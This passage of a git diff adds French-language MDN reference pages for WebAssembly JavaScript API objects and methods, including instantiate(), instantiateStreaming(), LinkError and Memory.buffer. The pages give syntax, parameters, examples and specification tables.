+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Instance")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html
new file mode 100644
index 0000000000..223205c3a4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html
@@ -0,0 +1,70 @@
+---
+title: WebAssembly.Instance.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - WebAssembly
+  - instance
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>WebAssembly.Instance</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WebAssembly.Instance()")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WebAssembly.Instance")}} héritent de <code>Instance.prototype</code>. L'objet qui est le prototype du constructeur {{jsxref("WebAssembly.Instance()")}} permet de modifier l'ensemble des instances {{jsxref( "WebAssembly.Instance")}} à travers la chaîne des prototypes.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Instance.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Instance()")}}.</dd>
+ <dt><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/exports">Instance.prototype.exports</a></code> {{readonlyinline}}</dt>
+ <dd>Renvoie un objet dont les propriétés sont l'ensemble des fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler depuis du code JavaScript.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Instance.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Instance()")}}</li>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html
new file mode 100644
index 0000000000..3c5f54f844
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html
@@ -0,0 +1,175 @@
+---
+title: WebAssembly.instantiate()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiate
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>WebAssembly.instantiate()</code></strong> permet de compiler et d'instancier du code WebAssembly. Cette fonction possède deux formes :</p>
+
+<ul>
+ <li>La première forme prend un code binaire WebAssembly sous forme d'un <a href="/fr/docs/Web/JavaScript/Tableaux_typés">tableau typé</a> ou d'un {{jsxref("ArrayBuffer")}} et effectue les étapes de compilation et d'instanciation en une fois. La valeur de résolution de la promesse renvoyée se compose d'un module {{jsxref("WebAssembly.Module")}} compilé et de sa première instance {{jsxref("WebAssembly.Instance")}}.</li>
+ <li>La seconde forme prend un module ({{jsxref("WebAssembly.Module")}}) déjà compilé et renvoie une promesse dont la valeur de résolution est une instance de ce module. Cette forme s'avère utile lorsque le module a déjà été compilé.</li>
+</ul>
+
+<div class="warning">
+<p><strong>Attention !</strong> Tant que faire se peut, utiliser la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} car elle est plus efficace et récupère, compile et instancie un module en une seule étape à partir du <em>bytecode</em> et il n'est pas nécessaire de passer par une conversion en {{jsxref("ArrayBuffer")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Première_forme_utiliser_le_bytecode_WebAssembly">Première forme : utiliser le <em>bytecode</em> WebAssembly</h3>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiate(bufferSource, importObject);
+</pre>
+
+<h4 id="Paramètres">Paramètres</h4>
+
+<dl>
+ <dt><code>bufferSource</code></dt>
+ <dd>Un <a href="/fr/docs/Web/JavaScript/Tableaux_typés">tableau typé</a> ou un {{jsxref("ArrayBuffer")}} qui contient le <em>bytecode</em> du module WebAssembly qu'on souhaite compiler.</dd>
+ <dt><code>importObject</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.</dd>
+</dl>
+
+<h4 id="Valeur_de_retour">Valeur de retour</h4>
+
+<p>Une promesse qui est résoluee en un objet qui contient deux champs :</p>
+
+<ul>
+ <li><code>module</code> : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module peut être instancié à nouveau grâce à  {{domxref("Worker.postMessage", "postMessage()")}} ou via <a href="/fr/docs/WebAssembly/Caching_modules">un cache IndexedDB</a>.</li>
+ <li><code>instance</code> : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble <a href="/fr/docs/WebAssembly/Exported_functions">des fonctions WebAssembly exportées</a>.</li>
+</ul>
+
+<h4 id="Exceptions">Exceptions</h4>
+
+<ul>
+ <li>Si l'un des paramètres n'a pas le bon type ou la bonne structure, une exception {{jsxref("TypeError")}} sera levée.</li>
+ <li>Si l'opération échoue, la promesse est rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.</li>
+</ul>
+
+<h3 id="Seconde_forme_utiliser_une_instance_d'un_module">Seconde forme : utiliser une instance d'un module</h3>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Instance&gt; WebAssembly.instantiate(module, importObject);
+</pre>
+
+<h4 id="Paramètres_2">Paramètres</h4>
+
+<dl>
+ <dt><code>module</code></dt>
+ <dd>L'objet {{jsxref("WebAssembly.Module")}} qui doit être instancié.</dd>
+ <dt><code>importObject</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.</dd>
+</dl>
+
+<h4 id="Valeur_de_retour_2">Valeur de retour</h4>
+
+<p>Une promesse qui est résolue en un objet {{jsxref("WebAssembly.Instance")}}.</p>
+
+<h4 id="Exceptions_2">Exceptions</h4>
+
+<ul>
+ <li>Si l'un des paramètres n'est pas du bon type ou n'a pas la bonne structure, une exception {{jsxref("TypeError")}} est levée.</li>
+ <li>Si l'opération échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Dans la plupart des cas, on utilisera plus vraisemblablement {{jsxref("WebAssembly.instantiateStreaming()")}} qui est plus efficace que <code>instantiate()</code>.</p>
+</div>
+
+<h3 id="Première_forme">Première forme</h3>
+
+<p>Après avoir récupéré le <em>bytecode</em> WebAssembly grâce à <code>fetch()</code>, on compile et on instancie le module grâce à la fonction  {{jsxref("WebAssembly.instantiate()")}} et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on invoque <a href="/fr/docs/WebAssembly/Exported_functions">une fonction WebAssembly exportée</a> via l'instance.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =&gt;
+  result.instance.exports.exported_func()
+);</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Voir le fichier <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a> sur GitHub (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/">ainsi que la démonstration associée</a>) qui contient un exemple analogue et qui utilise la fonction utilitaire <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js#L1">fetchAndInstantiate()</a></code>.</p>
+</div>
+
+<h3 id="Seconde_forme">Seconde forme</h3>
+
+<p>Dans l'exemple qui suit (tiré du fichier <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index-compile.html">index-compile.html</a></code> sur GitHub et qui dispose d'<a href="https://mdn.github.io/webassembly-examples/js-api-examples/index-compile.html">une démonstration</a>), on compile le <em>bytecode</em> du module chargé <code>simple.wasm</code> grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un <em><a href="/fr/docs/Web/API/Web_Workers_API">worker</a></em> grâce à la méthode {{domxref("Worker.postMessage", "postMessage()")}}.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<p>Dans le <em>worker</em> (cf. <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/wasm_worker.js">wasm_worker.js</a></code>), on définit un objet d'import qui sera utilisé par le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le <em>thread</em> principal. Lorsqu'on reçoit le module, on en crée une instance grâce à la méthode {{jsxref("WebAssembly.instantiate()")}} puis on appelle une fonction exportée depuis le module.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+onmessage = function(e) {
+  console.log('module reçu depuis le thread principal');
+  var mod = e.data;
+
+  WebAssembly.instantiate(mod, importObject).then(function(instance) {
+    instance.exports.exported_func();
+  });
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyinstantiate', 'instantiate()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiate")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html
new file mode 100644
index 0000000000..a53701dd6d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html
@@ -0,0 +1,90 @@
+---
+title: WebAssembly.instantiateStreaming()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiateStreaming
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>WebAssembly.instantiateStreaming()</code></strong> permet de compiler et d'instancier un module WebAssembly depuis un flux source. C'est la méthode la plus efficace, et la plus optimisée, permettant de charger du code WebAssembly.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiateStreaming(<em>source</em>, <em>importObject</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>source</code></dt>
+ <dd>Un objet {{domxref("Response")}} ou une promesse qui sera tenue avec une valeur {{domxref("Response")}} qui représente la source du module .wasm dont on souhaite récupérer le flux, la compiler puis l'instanciere.</dd>
+ <dt><code>importObject</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient les valeurs qui doivent être importées dans le nouvel objet <code>Instance</code> résultant. Cela peut être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il est nécessaire qu'il y ait une propriété correspondante pour chaque import déclaré dans le module compilé, sinon, une exception <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/LinkError">WebAssembly.LinkError</a></code> sera levée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet <code>Promise</code> dont la valeur de résolution est un objet <code>ResultObject</code> contenant deux champs :</p>
+
+<ul>
+ <li><code>module</code> : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module pourra être instancié à nouveau, partagé avec <code><a href="/fr/docs/Web/API/Worker/postMessage">postMessage()</a></code>.</li>
+ <li><code>instance</code> : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble <a href="/fr/docs/WebAssembly/Exported_functions">des fonctions WebAssembly exportées</a>.</li>
+</ul>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si l'un des paramètres n'est pas du bon type ou ne possède pas la bonne structure, une exception {{jsxref("TypeError")}} est déclenchée.</li>
+ <li>Si l'opération échoue, la promesse lève une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon la cause de l'échec.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Dans l'exemple suivant (également disponible sur GitHub : <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> et avec <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">le résultat <em>live</em></a>), on récupère le flux d'un module .wasm depuis une source, on le compile et on l'instancie. La promesse est alors résolue avec un objet <code>ResultObject</code>. La méthode <code>instantiateStreaming()</code>  acceptant une promesse fournissant un objet {{domxref("Response")}}, on peut directement l'appel de {{domxref("WindowOrWorkerGlobalScope.fetch()")}} en argument qui transfèrera la réponse lorsque la promesse résultante sera tenue.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</pre>
+
+<p>Ensuite, on accède au champ <code>instance</code> de l'objet <code>ResultObject</code> afin de pouvoir invoquer une des fonctions exportées.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly Embedding', '#webassemblyinstantiatestreaming', 'instantiateStreaming()')}}</td>
+   <td>{{Spec2('WebAssembly Embedding')}}</td>
+   <td>Brouillon de définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiateStreaming")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">La page d'aperçu de WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript de WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html
new file mode 100644
index 0000000000..be70427e74
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html
@@ -0,0 +1,119 @@
+---
+title: WebAssembly.LinkError()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/LinkError
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - LinkError
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>WebAssembly.LinkError()</strong></code> permet de créer un nouvel objet WebAssembly <code>LinkError</code> qui indique qu'une erreur s'est produite lors de l'instanciation du module (en plus <a href="http://webassembly.org/docs/semantics/#traps">des trappes</a> provenant de la fonction initiale).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new WebAssembly.LinkError(<var>message</var>, <var>nomFichier</var>, <var>numeroLigne</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>Une description, compréhensible par un humain, de l'erreur qui s'est produite.</dd>
+ <dt><code>nomFichier</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le nom du fichier qui contient le code à l'origine de l'exception.</dd>
+ <dt><code>numeroLigne</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le numéro de ligne dans le fichier contenant le code à l'origine de l'exception.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Le constructeur <code>LinkError</code> ne contient pas de propriétés qui lui soient propres. Il hérite cependant de certaines propriétés via sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.LinkError.prototype.constructor</code></dt>
+ <dd>Cette propriété est la fonction qui permet de créer le prototype de l'instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.LinkError.prototype.message")}}</dt>
+ <dd>Le message d'erreur. Bien qu'ECMA-262 indique que l'objet doive fournir sa propre propriété <code>message</code>, dans <a href="/fr/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.LinkError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.LinkError.prototype.fileName")}}</dt>
+ <dd>Le chemin du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.LinkError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.LinkError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.LinkError.prototype.stack")}}</dt>
+ <dd>La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Le constructeur <code>LinkError</code> ne contient pas de méthodes qui lui soient propres. Il hérite toutefois de méthodes grâce à sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.LinkError.prototype.toSource()")}}</dt>
+ <dd>Cette méthode renvoie un code qui pourrait être évalué et causere la même erreur. Elle est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.LinkError.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code qui suit, on crée un nouvelle instance de <code>LinkError</code> puis on imprime les détails dans la console :</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.LinkError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof LinkError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "LinkError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // renvoie la pile d'appels
+                                          // à l'origine de l'erreur
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition des types standards <code>NativeError</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.LinkError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html
new file mode 100644
index 0000000000..e7c8674713
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html
@@ -0,0 +1,67 @@
+---
+title: WebAssembly.Memory.prototype.buffer
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/buffer
+tags:
+  - API
+  - JavaScript
+  - Propriété
+  - Reference
+  - WebAssembly
+  - memory
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>buffer</code></strong>, rattachée au prototype de l'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory">Memory</a></code>, renvoie le tampon (<em>buffer</em>) contenu dans l'espace mémoire.</p>
+
+<pre class="syntaxbox">memory.buffer
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant (cf. le fichier <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> sur GitHub ainsi que <a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">le résultat obtenu</a>), on récupère puis on instancie le <em>bytecode</em> <code>memory.wasm</code> grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre certaines valeurs dans cette mémoire puis on exporte une fonction afin de l'utiliser pour additionner certaines valeurs.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj =&gt; {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i &lt; 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymemoryprototypebuffer', 'buffer')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory.buffer")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html
new file mode 100644
index 0000000000..89a98ecbed
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html
@@ -0,0 +1,81 @@
+---
+title: WebAssembly.Memory.prototype.grow()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/grow
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+  - memory
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>grow()</code></strong>, rattachée au prototype de l'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory">Memory</a></code>, permet d'augmenter la taille de l'espace mémoire correspondant d'un nombre de pages WebAssembly.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">memory.grow(<em>nombre</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Le nombre de pages WebAssembly duquel on veut augmenter l'espace mémoire correspondant à l'objet courant (une page mémoire WebAssembly correspond à 64 Ko).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
